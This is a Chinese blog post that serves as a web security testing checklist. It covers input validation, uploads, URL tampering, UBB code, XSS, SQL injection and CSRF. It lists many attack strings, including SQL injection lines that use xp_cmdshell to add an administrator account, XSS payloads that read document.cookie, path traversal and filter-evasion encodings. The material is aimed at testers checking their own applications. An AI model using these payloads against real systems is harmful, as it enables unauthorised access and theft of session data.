• 常用安全测试用例


    建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、SQL 注入、身份验证和授权错误。

    1、输入验证

    客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)

    1.输入很大的数(如4,294,967,269),输入很小的数(负数)

    2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应

    3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|

    4.输入中英文空格,输入字符串中间含空格,输入首尾空格

    5.输入特殊字符串NULL,null,0x0d 0x0a

    6.输入正常字符串

    7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字

    8.输入html和javascript代码

    9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化

    例如:

    1.输入<html”>”gfhd</html>,看是否出错;

    2.输入<input type=”text” name=”user”/>,看是否出现文本框;

    3.输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。

    关于上传:

    1.上传文件是否有格式限制,是否可以上传exe文件;

    2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;

    3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;

    4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。

    5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。

    6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。

    7.对于文件名中带有中文字符,特殊字符等的文件上传。

    下载:

    1. 避免输入:\..\web.

    2. 修改命名后缀。

    关于URL

    1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;

    2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面;

    3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。

    4.输入善意字符。

    UBB:

    [url=http://www.****.com] 你的网站[/url]

    1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.

    2.在UBB代码中加入属性,如样式,事件等属性,看是否起作用

    3.输入编辑器中不存在的UBB代码,看是否起作用

    [url=alert('hello')]链接[ /url]

    [email=alert('hello')]EMail[ /email]

    [email=yangtao@rising.com.cn STYLE="background-image: url(alert('XSS'))"]yangtao@rising.com.cn[ /email]

    [img]http://www.13fun.cn/2007713015578593_03.jpg style=”background-image:url(alert(‘alert(xss)’))”[ /img]

    [img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg “onmouseover=alert(‘hello’);”[/img]

    [b STYLE="background-image: url(alert('XSS'))"]一首诗酸涩涩服务网[ /b]

    [i STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /i]

    [u]一二三四五六七北京市[/u]

    [font=微软雅黑" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /font]

    [size=4" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /size]

    [color=Red" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /color]

    [align=center" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /align]

    [float=left" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /float]

    [font=微软雅黑 STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /font]

    [size=4 STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /size]

    [color=Red STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /color]

    [align=center STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /align]

    [list=1]

    [*]一二三四五六七北京市[/list]

    [indent]一二三四五六七北京市[/indent]

    [float=left STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /float]

    [media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]

    输出编码

    常用的测试输入语句有:

    <input type=”text”/>

    <input/>

    <input/

    <script>alert(‘hello’);</script>

    1.jpg” onmouseover=”alert(‘xss’)

    “></a><script>alert(‘xss’);</script>

    http://xxx’;alert(‘xss’);var/ a=’a

    ‘”>xss&<

    a=”\” ; b=”;alert(/xss/);//”

    <img src=“输出内容” border=“0” alt=“logo” />

    “’”

    ‘”’

    “””

    “ “ “

    “”“

    “‘ ”

    title=””

    对输出数据到输出数据的对比,看是否出现问题。

    防止SQL注入

    Admin–

    ‘or ---–--

    ‘ and ( ) exec insert * % chr mid

    and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2

    ‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;

    and 1=2 ; ‘and 1=2

    and 2=2

    and user>0

    and (select count(*) from sysobjects)>0

    and (select count(*) from msysobjects)>0

    and (Select Count(*) from Admin)>=0

    and (select top 1 len(username) from Admin)>0(username 已知字段)

    ;exec master..xp_cmdshell “net user name password /add”—

    ;exec master..xp_cmdshell “net localgroup name administrators /add”—

    and 0<>(select count(*) from admin)

    简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

    跨站脚本***(XSS

    对于 XSS,只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?

    ~!@#$%^&*()_+<>,./?;’”[]{}\-

    ★%3Cinput /%3E

    ★%3Cscript%3Ealert(‘XSS’)%3C/script%3E

    ★<input type=”text”/>

    ★<input/>

    ★<input/

    ★<script>alert(‘xss’)</script>

    ★<script>alert(‘xss’);</script>

    ★</script><script>alert(‘xss’)</script>

    ★alert( /xss/)

    ★javascrip&#116&#58alert(/xss/)

    ★<img src=”#” onerror=alert(/xss/)>

    ★<img src=”#” style=”Xss:alert( /xss/));”>

    ★<img src=”#”/**/onerror=alert(/xss/) width=100>

    ★=’><script>alert(document.cookie)</script>

    ★1.jpg” onmouseover=”alert(‘xss’)

    ★”></a><script>alert(‘xss’);</script>

    ★http://xxx’;alert(‘xss’);var/ a=’a

    ★’”>xss&<

    ★”onmouseover=alert(‘hello’);”

    ★&{alert(‘hello’);}

    ★>”‘><script>alert(‘XSS’)</script>

    ★>%22%27><img%20src%3d%22alert(%27XSS%27)%22>< /p>

    ★>”‘><img%20src%3D%26%23x6a;%26%23×61;%26%23×76;%26%23×61;%26%23×73;%26%23×63;%26%23×72;%26%23×69;%26%23×70;%26%23×74;%26%23x3a;alert(%26quot;XSS%26quot;)>

    ★AK%22%20style%3D%22url(javascript:alert(%27XSS%27))%22%20OS%22< /p>

    ★%22%2Balert(%27XSS%27)%2B%22

    ★<table background=”alert(([code])">< /table>

    ★<object type=text/html data="alert(([code]);">< /object>

    ★<body /body>

    ★a?<script>alert(’Vulnerable’)</script>

    ★<!--'">&:

    var from = ‘$!rundata.Parameters.getString(’from’)';

    var from = ”;hackerFunction(document.cookie);”;

    http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX

    跨站请求伪造(CSRF

    同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功。

    当页面没有CHECKCODE时,查看页面源代码,查是是否有token。如果页面完全是展示页面,是不会有token的。

  • 相关阅读:
    【Linux】项目部署
    【架构师之路】【MQ】消息队列
    【数据库】【Python】mysql
    【算法】【Python】找出字符串中重复出现的字符 并求出重复次数 且根据重复次数从大到小排列
    【Python】排序 按照list中的字典的某key排序
    Kettle Post请求webservice
    python+pytest+allure接口自动化测试框架
    Python+unittest+requests+htmlTestRunner+excel完整的接口自动化框架
    python实现栈的基本操作
    展示博客园顶部的随笔、文章、评论、阅读量统计数据
  • 原文地址:https://www.cnblogs.com/D666/p/9165048.html
Copyright © 2020-2023  润新知